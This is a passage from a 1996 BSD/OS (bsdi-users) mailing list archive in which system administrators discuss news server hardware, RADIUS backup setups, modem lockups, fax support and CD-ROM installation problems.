strongly recommend the Pentium pro-180 which runs $820 around atlanta. >Otherwise go 120 or 150, the odd mghz are much cheaper due to less demand >now and the perf difference is negligible. A lot of mail order places have Pentium Pro 180's in the $500-$600 range. > > >> Sounds good, maybe a dual-pentium board for future upgrades? Is it worth >> it? >Not really. Disk IO is what you need to focus on. > >> * 64 MB 60nsec memory w/Parity Expandable to 512MB >> * (ECC/EDO-optional) >Go 128, 64 is NOT enough for a large newsfeed machine. I'd go 64 to start with (making sure you have lots of expansion slots), and see how your performance is. Remember, the server connection code (not data) is shared, and there's no way that you'll cache a whole lot of articles. A good way to see if you need more memeory is to see how much you are paging or swapping due to lack of free memory. If you want, I can help if you don't mind me logging on. A good book on it is "Systems Performance Tuning" (an O'Reilly book). >> *Controller Card: >> * Buslogic BT-948 PCI SCSI Card Ultra Fast Ports: >> * 2x 16550 Serial, EPP parallel, Infra-red, PCI- IDE(Mode 3 >> * 4), Floppy, PS/2 Bus Mouse >> >DPT PM2144UW (Smartcache IV with 68020-20). Upgradable to 64 megs cache >and RAID. Invest in the future.. The 948 is a old/dead product. > >> * Hard Drive #2: >> * Seagate ST34371, 7200,8MS 4.1GB Barracuda Ultra Data Disk (Qty:2 >> * recommended for binary and complete news feed) >Looks good. They look identical to my medalist 2 gig ide. They spin a >helluvalot faster and whine real high pitched. For $1199, they are the >same price as the standard wide barracuda's. Not time tested here, and >i've killed two medalists which physically look the same, in a matter of >weeks. The 15150W is proven. Take your chances. I'd go for a bunch of IBM UltraStar ES 2.1 GB drives. The hold 2.1 GB, are Ultra SCSI-III Wide and list for just $379 (I've seen and bought them for less). I recently bought four for my new machine (generic personal workstation). Each has 512 Kbyte of cache and 8.5ms read/9.5ms write average seek time. The one somewhat bad point is it spins at 5400 RPM. The bus it goes on can be up to 40 MByte/second. Were you to get four, you could put some paging/swap on each, and one could house comp, another, talk, etc... Then you could watch their usage and with symbolic links move parts of one to another disk (the symbolic links should be cached in memory). I think you could probably get 6-7 for the price of what you're buying. That would give you about 13-15 GB of space, and you could really spread the load out. A lot of people have a problem with this. They have few overloaded disks, or some disks that are rarely accessed and others that are very often overloaded. I think this is the best way to get reasonable news perforance. Usually the disks are what take the hit in news. >> * Networking: >> * DECFast EtherWORKS 10/100 Mb/s PCI/32-bit RJ45 Ethernet >> * Adapter(DE500-AA) >> >Make sure the chipset is DEC21140-AA or -AB, the AC won't work. Go to >compusa and with a corporate account you can snag them pretty cheap and >open the box first. > >.. > >Mind you i support up to 8 connections with a 16 megabyte freebsd box >running dnews :) no lag really.. So you plan to many users, i'd suggest >you plan your hardware more accordingly. > >Sam > From VM Sun Nov 24 17:03:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["139" "Sat" "21" "September" "1996" "11:48:03" "-0500" "Donald Dahlman" "druid@eoe-magical.org" nil "4" "DIALUP TOOLS" "^From:" nil nil "9" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA15285 for ; Sun, 24 Nov 1996 11:59:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA07753 for bsdi-users-outgoing; Sun, 24 Nov 1996 11:47:55 -0500 (EST) Message-ID: <32441C43.52F0@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, support@BSDI.COM Subject: DIALUP TOOLS Date: Sat, 21 Sep 1996 11:48:03 -0500 When I run the config_dialin program, all goes well until I :w and then :q. After the :q the system hangs and I must reboot the machine. From VM Sun Nov 24 17:03:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1572" "" "24" "November" "1996" "02:19:39" "-0500" "Craig Nordin" "cnordin@vni.net" nil "44" "Re: Back-Up radius Server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA16364 for ; Sun, 24 Nov 1996 12:42:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA07815 for bsdi-users-outgoing; Sun, 24 Nov 1996 12:26:45 -0500 (EST) Path: news.vni.net!cnordin Newsgroups: info.bsdi.users Organization: Virtual Networks Lines: 44 Message-ID: References: X-Newsreader: NN version 6.5.0 #6 (NOV) Precedence: bulk From: cnordin@vni.net (Craig Nordin) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: Back-Up radius Server Date: 24 Nov 1996 02:19:39 -0500 I *hate* NIS and I don't want to allow for my backup system to really know the user anyway. I came up with a sick little method that works fine for me. The backup machine does an rdist once every few days, picking up the latest copy of /etc/spwd.db. I used perl to binary edit the spwd.db to spwb.db in the radiusd file. I then lay in the copy of spwd.db as spwb.db in /etc and it all seems to work fine! Takes just a little fiddling and I have a reasonable backup system for when my primary server is down... scott@shell.flinet.com (Scott Averbach) writes: > >I am running radius with all users passwords=UNIX. This runs on our main >user machine, where all mail and shell accounts are ( this makes it >easy) ... I am wondering >how to get a backup server where if the main server is down then all the >radius request go on to the next server, the problem I see is they would >have to be sharing the password file and the radius users file.... is >there any way besides NIS to do this? we are of course running BSDI 2.1 >thanks... >-Scott -- Jobs - Graphic Arts - Commercial Production -> http://studio.vni.net/jobs/ Virtual Networks Premier Internet Services cnordin@vnii.net Indianapolis Indianapolis Indianapolis Metro http://www.vnii.net/ Indiana Indiana Indiana Washington DC Washington DC Washington DC Metro http://www.vni.net/ Virtual Networks Incorporated Virtual Networks of Indiana, Incorporated Jobs - Graphic Arts - Commercial Production -> http://studio.vni.net/jobs/ From VM Sun Nov 24 17:03:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["258" "Sun" "24" "November" "1996" "06:31:48" "+0000" "Brian P. Anderson" "ba@vigo.demon.co.uk" nil "12" "odd ?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA16639 for ; Sun, 24 Nov 1996 12:45:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA07821 for bsdi-users-outgoing; Sun, 24 Nov 1996 12:26:50 -0500 (EST) Message-Id: <199611240631.GAA14922@vigo.demon.co.uk> X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Brian P Anderson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: odd ? Date: Sun, 24 Nov 1996 06:31:48 +0000 (GMT) The following message appeared on my console first time in the morning: RRIP W/O PX field missing from your kernel. I am using 2.1 with all patches applied for some 21 days since building a new kernel Does any one know what that message means ? Brian From VM Sun Nov 24 17:04:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["660" "Sun" "24" "November" "1996" "19:05:08" "+0100" "Ivan Debnar" "debnar@pollux.sk" nil "20" "Fax under BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA17459 for ; Sun, 24 Nov 1996 13:17:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA07924 for bsdi-users-outgoing; Sun, 24 Nov 1996 13:01:57 -0500 (EST) Message-Id: <199611241803.TAA20671@datelinka.pollux.sk> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1250 Content-Transfer-Encoding: 8bit Precedence: bulk From: "Ivan Debnar" Sender: owner-bsdi-users@lists.gateway.com To: "BSDI Users" Subject: Fax under BSDI Date: Sun, 24 Nov 1996 19:05:08 +0100 Is there a way of using one of our modems connected to BSDI 2.1 box to work also as a fax (not just as an PPP dialin for clients) ? I would like to receive and imediately print out all incoming faxes and also I would like to be able to fax thru it from Win95 computers in our local network. Is such a configuration possible ? Any information greatly addmited. Thanx in advance, Ivan ---------------------------------------------------------------------------- Pollux WEB, spol. s r.o. - Complete Internet Solutions Rudlovská cesta 8, 974 01 Banská Bystrica, Slovakia tel.:+42 (88) 743 314 - 5, fax:+42 (88) 743 315 idebnar@pollux.sk http://www.pollux.sk From VM Sun Nov 24 17:04:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["873" "Sun" "24" "November" "1996" "13:12:37" "-0500" "Sam Brown" "root@ns2.clever.net" nil "28" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA17471 for ; Sun, 24 Nov 1996 13:20:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA07969 for bsdi-users-outgoing; Sun, 24 Nov 1996 13:16:43 -0500 (EST) In-Reply-To: <199611241635.LAA03876@jparnas.cybercom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: Stephen Fisher , bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Sun, 24 Nov 1996 13:12:37 -0500 (EST) On Sun, 24 Nov 1996, Jacob M. Parnas wrote: > > In message you write: > >> *Motherboard: > >> * Tyan Tomcat 1563 with P5-166, 512KB Pipeline Burst Cache, > >> * 5 ISA & 4 PCI slots > >I strongly recommend the Pentium pro-180 which runs $820 around atlanta. > >Otherwise go 120 or 150, the odd mghz are much cheaper due to less demand > >now and the perf difference is negligible. > > A lot of mail order places have Pentium Pro 180's in the $500-$600 range. Please: Example :) Getting back to BSDI, i know the gcc isn't optimized for the pentium (hint bsdi 3.x) what about the pro? Anyone bench the P-200 vs p-180-pro vs p-200 under bsdi? Is the value there compared to lower end (p-166). Or even the cyrix p-200+ (cough yuck). Anyone got some idea on these procs? --Sam From VM Sun Nov 24 17:04:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["611" "Sun" "24" "November" "1996" "13:17:17" "-0500" "Parthiv Shah" "parthiv@corp.idt.net" nil "29" "Ascend MAX with Radius" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA17476 for ; Sun, 24 Nov 1996 13:21:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA07975 for bsdi-users-outgoing; Sun, 24 Nov 1996 13:17:27 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Parthiv Shah Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Ascend MAX with Radius Date: Sun, 24 Nov 1996 13:17:17 -0500 (EST) I have a question regarding password file format of radius. I have 3 catagories of users a) ppp b) slip c) isdn ppp How can I setup class profile so that when user "foo" logs on it should execute the profile for ppp, and if user "bar" logs on than slip profile gets executed for define user. Since I will have 10-20+K of users 10-20 lines per each users is not preferable :) Thanx in advance, Parthiv -- Shah, Parthiv http://www.netadmin.net/ parthiv@corp.idt.net (201) 928 - 4414 Systems Administrator at IDT pgp? -> finger parthiv@haven.ios.com From VM Sun Nov 24 17:04:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["269" "Sun" "24" "November" "1996" "13:43:19" "-0500" "Randy Pittman" "rap@m-y.net" nil "7" "users login" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA18582 for ; Sun, 24 Nov 1996 14:02:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA08033 for bsdi-users-outgoing; Sun, 24 Nov 1996 13:49:33 -0500 (EST) Message-Id: <199611241852.NAA17338@my1.m-y.net> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk From: "Randy Pittman" Sender: owner-bsdi-users@lists.gateway.com To: "Bsdi users" Subject: users login Date: Sun, 24 Nov 1996 13:43:19 -0500 I have a problem.. I use a Radius box for my term server and have it send the login information to my BSDI 2.1 box... Some times not all of the time whin I set up a new account the users password is not recognized.. has anybody ells have this problem.. Randy Pittman From VM Sun Nov 24 17:04:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1397" "Sun" "24" "November" "1996" "14:06:39" "-0500" "Evan Champion" "evanc@synapse.net" nil "30" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA19120 for ; Sun, 24 Nov 1996 14:17:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA08092 for bsdi-users-outgoing; Sun, 24 Nov 1996 14:06:56 -0500 (EST) In-Reply-To: <199611241635.LAA03876@jparnas.cybercom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: Sam Brown , Stephen Fisher , bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Sun, 24 Nov 1996 14:06:39 -0500 (EST) > >> *Controller Card: > >> * Buslogic BT-948 PCI SCSI Card Ultra Fast Ports: > >> * 2x 16550 Serial, EPP parallel, Infra-red, PCI- IDE(Mode 3 > >> * 4), Floppy, PS/2 Bus Mouse > >> > >DPT PM2144UW (Smartcache IV with 68020-20). Upgradable to 64 megs cache > >and RAID. Invest in the future.. The 948 is a old/dead product. I don't know who said that the 948 is an old/dead product. It is the newest Multimaster from Buslogic and is an excellent card. From my experience you won't be able to boot from the DPT anyway, as on my system the card hangs in the BIOS scan if it finds a BSD/OS boot sector on any drive, so you'll want a Buslogic for your boot disk. I would probably buy the 958, the wide version of the 948. Be careful if you put up a large RAID. I have a 30 GB news spool and even though I have 64 MB on the DPT controller, I had to allocate a 32 MB BUFMEM because without it BSD/OS couldn't hold the filesystem tables in-core and thus my performance went to hell (ie: dropped by a factor of 3 or more. So if you're going to run a large RAID, you'll need 128 MB RAM minimum. I'm looking at putting another 64 MB in mine to bring it up to 192 MB. Evan -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Sun Nov 24 17:04:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["803" "Sun" "24" "November" "1996" "15:13:41" "-0500" "Evan Champion" "evanc@synapse.net" nil "19" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA20761 for ; Sun, 24 Nov 1996 15:24:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA08213 for bsdi-users-outgoing; Sun, 24 Nov 1996 15:13:50 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: Sam Brown cc: bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Sun, 24 Nov 1996 15:13:41 -0500 (EST) > Getting back to BSDI, i know the gcc isn't optimized for the pentium > (hint bsdi 3.x) what about the pro? Anyone bench the P-200 vs p-180-pro vs > p-200 under bsdi? Is the value there compared to lower end (p-166). Or > even the cyrix p-200+ (cough yuck). I think that gcc does have Pentium support (just not the one that comes with BSD/OS), but I have never seen mention of Pentium Pro support. Perhaps of interest is that in the FreeBSD kernel configuration you tell it what sort of processor you are building on so that it includes properly optimised assembly code for each architecture (up to Pentium last time I looked). Evan -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Sun Nov 24 17:04:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1973" "Sun" "24" "November" "1996" "09:19:57" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "52" "Re: Installing BSD/OS from panasonic CDROM" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA21029 for ; Sun, 24 Nov 1996 15:27:29 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA08240 for bsdi-users-outgoing; Sun, 24 Nov 1996 15:20:16 -0500 (EST) Message-Id: <3.0.1.32.19961124091825.006abd58@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: carrera@idirect.com (Jason Lixfeld) Cc: info-bsdi-users@rutgers.edu Subject: Re: Installing BSD/OS from panasonic CDROM Date: Sun, 24 Nov 1996 09:19:57 -0800 Isn't the Panasonic an ATAPI device? If so, you should have no problems with it. I had an ATAPI Matsushita 2x on my system for quite some while with no grief. -Kent- At 07:56 AM 11/24/96 UTC, Jason Lixfeld wrote: >I am trying to install BSD/OS 2.0 on a P120, 24MB RAM, 1.2GB Disk, and of >all things, a Panasonic 2x CDROM (matsushita). The problem is, in the >manual it states that only mitsumi cdroms are supported. Does this mean >that I am out of luck, or is there a way that I can install it with my >current configuration? In the manual also, it states that the i/o and IRQ >have to be at 0x334, 0x340, irq 2/9. The Panasonic is on i/o 0x300 and >the standard IRQ of 15 I think. The CDROM drive is not running off of an >IDE interface. It is running off of a Panasonic interface. I used to >have FreeBSD 2.1.5 installed on this system. Now then the device for the >CDROM was /dev/matcd BSD/OS only shows as having /dev/mcd0 and this >confuses me! Basically, I tried the manual's suggestion of changing the >kernel configuration at the boot: prompt (after interupting the boot >during the read from BOOT DISK 1). I changed it to 'boot: -dev mcd0 >port=0x300 irq=15' trying to get it to read it at the current >configuration with no luck. Basically when I choose cdrom as the media, >it says: mount local cdrom: mcd0 ... mount_iso9660: /dev/mcd0a on cdrom. >Filesystem type not configured. <-- that is a summary of the error >message I get before it dumps me to a shell. If there are any tricks that >I could do to get this thing working, I would be very interested to learn >them and get this ball rolling! > >Thanks in advance... > >Regards, > >Jason A. Lixfeld >-=- >IDBS Administration >System Administrator >Client Services Representative >Systems Liason >-=- >Internet Direct o/a ComputerLink Online Inc. >5415 Dundas Street West Suite 301 >Etobicoke, ON M9B 1B5 >CANADA >[416] 233.7150 {V} >[416] 233.6970 {F} >-=- >carrera@idirect.com > > > From VM Sun Nov 24 17:04:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2355" "Sun" "24" "November" "1996" "16:11:23" "-0500" "Scott Averbach" "scott@shell.flinet.com" nil "50" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA22507 for ; Sun, 24 Nov 1996 16:28:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA08387 for bsdi-users-outgoing; Sun, 24 Nov 1996 16:11:35 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Scott Averbach Sender: owner-bsdi-users@lists.gateway.com To: Evan Champion cc: "Jacob M. Parnas" , Sam Brown , Stephen Fisher , bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Sun, 24 Nov 1996 16:11:23 -0500 (EST) Im using a PM3224 DPT and it boots fine, its using 64 megs of cache and 3 segate baracudda drives running raid-5. No problems... -Scott ---/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\--- -/- Scott Averbach -\- Florida Internet Corporation -/- -\- Senior Systems Administrator -/- We are - Voice: 561.615.0001 -\- -/- mail:scott@flinet.com -\- the most - Fax: 561.615.0002 -/- -\- http://www.flinet.com -/- highly rated ISP in Florida! -\- ---/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\--- ---/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\--- -/- The truth is out there -\- C Code, C Code Run, Run -/- -\- anyone know the URL? -/- Code, RUN! PLEASE!!! -\- ---/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\--- On Sun, 24 Nov 1996, Evan Champion wrote: > > >> *Controller Card: > > >> * Buslogic BT-948 PCI SCSI Card Ultra Fast Ports: > > >> * 2x 16550 Serial, EPP parallel, Infra-red, PCI- IDE(Mode 3 > > >> * 4), Floppy, PS/2 Bus Mouse > > >> > > >DPT PM2144UW (Smartcache IV with 68020-20). Upgradable to 64 megs cache > > >and RAID. Invest in the future.. The 948 is a old/dead product. > > I don't know who said that the 948 is an old/dead product. It is the > newest Multimaster from Buslogic and is an excellent card. From my > experience you won't be able to boot from the DPT anyway, as on my system > the card hangs in the BIOS scan if it finds a BSD/OS boot sector on any > drive, so you'll want a Buslogic for your boot disk. I would probably > buy the 958, the wide version of the 948. > > Be careful if you put up a large RAID. I have a 30 GB news spool and > even though I have 64 MB on the DPT controller, I had to allocate a 32 MB > BUFMEM because without it BSD/OS couldn't hold the filesystem tables > in-core and thus my performance went to hell (ie: dropped by a factor of > 3 or more. So if you're going to run a large RAID, you'll need 128 MB > RAM minimum. I'm looking at putting another 64 MB in mine to bring it up > to 192 MB. > > Evan > -- > Evan Champion * Director, Network Operations > mailto:evanc@synapse.net * Directeur, Exploitation du reseau > http://www.synapse.net/ * Synapse Internet > > From VM Sun Nov 24 17:04:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["941" "Sun" "24" "November" "1996" "16:14:43" "-0500" "Sam Brown" "root@ns2.clever.net" nil "26" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA22684 for ; Sun, 24 Nov 1996 16:31:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA08400 for bsdi-users-outgoing; Sun, 24 Nov 1996 16:19:03 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Evan Champion cc: bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Sun, 24 Nov 1996 16:14:43 -0500 (EST) The p-200-pro's do boot up and say "Pentium-pro" 2.1 On Sun, 24 Nov 1996, Evan Champion wrote: > > Getting back to BSDI, i know the gcc isn't optimized for the pentium > > (hint bsdi 3.x) what about the pro? Anyone bench the P-200 vs p-180-pro vs > > p-200 under bsdi? Is the value there compared to lower end (p-166). Or > > even the cyrix p-200+ (cough yuck). > > I think that gcc does have Pentium support (just not the one that comes > with BSD/OS), but I have never seen mention of Pentium Pro support. > Perhaps of interest is that in the FreeBSD kernel configuration you tell > it what sort of processor you are building on so that it includes properly > optimised assembly code for each architecture (up to Pentium last time I > looked). > > Evan > -- > Evan Champion * Director, Network Operations > mailto:evanc@synapse.net * Directeur, Exploitation du reseau > http://www.synapse.net/ * Synapse Internet > > From VM Mon Nov 25 20:53:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["444" "Sun" "24" "November" "1996" "13:14" "PST" "Randy Bush" "randy@psg.com" nil "14" "Re: Installing BSD/OS from panasonic CDROM" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA26547 for ; Sun, 24 Nov 1996 18:59:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id SAA08614 for bsdi-users-outgoing; Sun, 24 Nov 1996 18:48:24 -0500 (EST) Message-Id: References: <3.0.1.32.19961124091825.006abd58@popgw.firstdata.com> Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell Cc: info-bsdi-users@rutgers.edu Subject: Re: Installing BSD/OS from panasonic CDROM Date: Sun, 24 Nov 96 13:14 PST > Isn't the Panasonic an ATAPI device? I have a Panasonic 2x on SCSI PCMCIA. And, since it was obsolted by the 4x, for $160 you get the SCSI card and the 2xCDROM. Darn good deal. With current WildBoar, it is not supported. I do not know if 3.x will support it. And I am not sufficiently impatient to join the chorus of "What," "When," ...? But it works great with BillyWare, well, as well as anything works in BillyLand. randy From VM Mon Nov 25 20:53:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1101" "Mon" "25" "November" "1996" "01:12:29" "+0100" "Edouard CORREIA" "ded@magic.fr" nil "34" "Re: Modems Locking..AHHH!!!!!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA27091 for ; Sun, 24 Nov 1996 19:13:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA08641 for bsdi-users-outgoing; Sun, 24 Nov 1996 19:13:12 -0500 (EST) In-Reply-To: <1.5.4.32.19961123173229.00a23098@204.101.127.2> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Edouard CORREIA Sender: owner-bsdi-users@lists.gateway.com To: Roch Pageau cc: Chris McGlasson , bsdi-users@BSDI.COM Subject: Re: Modems Locking..AHHH!!!!! Date: Mon, 25 Nov 1996 01:12:29 +0100 (MET) > Date: Sat, 23 Nov 1996 12:32:29 -0500 > From: Roch Pageau > To: Chris McGlasson > Cc: bsdi-users@BSDI.COM > Subject: Re: Modems Locking..AHHH!!!!! > > Chris, > > I seem to be having the same problems with the digiboard and practicals. It > only seems to happen on the last 10 ports for some reason. I thought they > might not be configured properly but cannot find any evidence of this. If I > get anything I will let you know, and am hoping you could do the same. > > Thanks > > Roch > > > At 07:21 PM 11/22/96 -0800, you wrote: > >Hello All. I have a major problem here. For some reason I have a couple > >of modems locking up on me almost every day. I have switched modems > >around, and switched lines with the same results. > > > >I am using BSDI 2.1, with digi 16EM digiboards, and 28.8 practical > >peripheral modems. I have the following configuration in my /etc/ttys > >directory:: It cames from an unidentified BSDI 2.x bug (see your /var/log/messages file you'll see "intr lost" or "output stalled" messages). Sincerly. From VM Mon Nov 25 20:53:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["280" "Sun" "24" "November" "1996" "19:11:01" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "13" "ip addresses" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA27108 for ; Sun, 24 Nov 1996 19:20:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA08676 for bsdi-users-outgoing; Sun, 24 Nov 1996 19:20:48 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ip addresses Date: Sun, 24 Nov 1996 19:11:01 -0500 (EST) recently I switched over to new ip addresses. but when I telnet to somewhere, and check to see where I am telnetting from, it still says the old address. Where does it hold the infomation about what the address of the machine is? Any help would be appreciated. thanks brian From VM Mon Nov 25 20:53:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["4297" "Sun" "24" "November" "1996" "14:58:29" "-0500" "USENET News" "news@news.interactive.net" nil "103" "" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA29010 for ; Sun, 24 Nov 1996 20:30:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA08758 for bsdi-users-outgoing; Sun, 24 Nov 1996 20:23:42 -0500 (EST) Message-Id: <199611241958.OAA11745@news.interactive.net> Precedence: bulk From: USENET News Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Date: Sun, 24 Nov 1996 14:58:29 -0500 (EST) Newsgroups: info.bsdi.users Path: ritz From: ritz@onyx.interactive.net (Chris Mauritz) Subject: Re: News server hardware X-Nntp-Posting-User: ritz Sender: 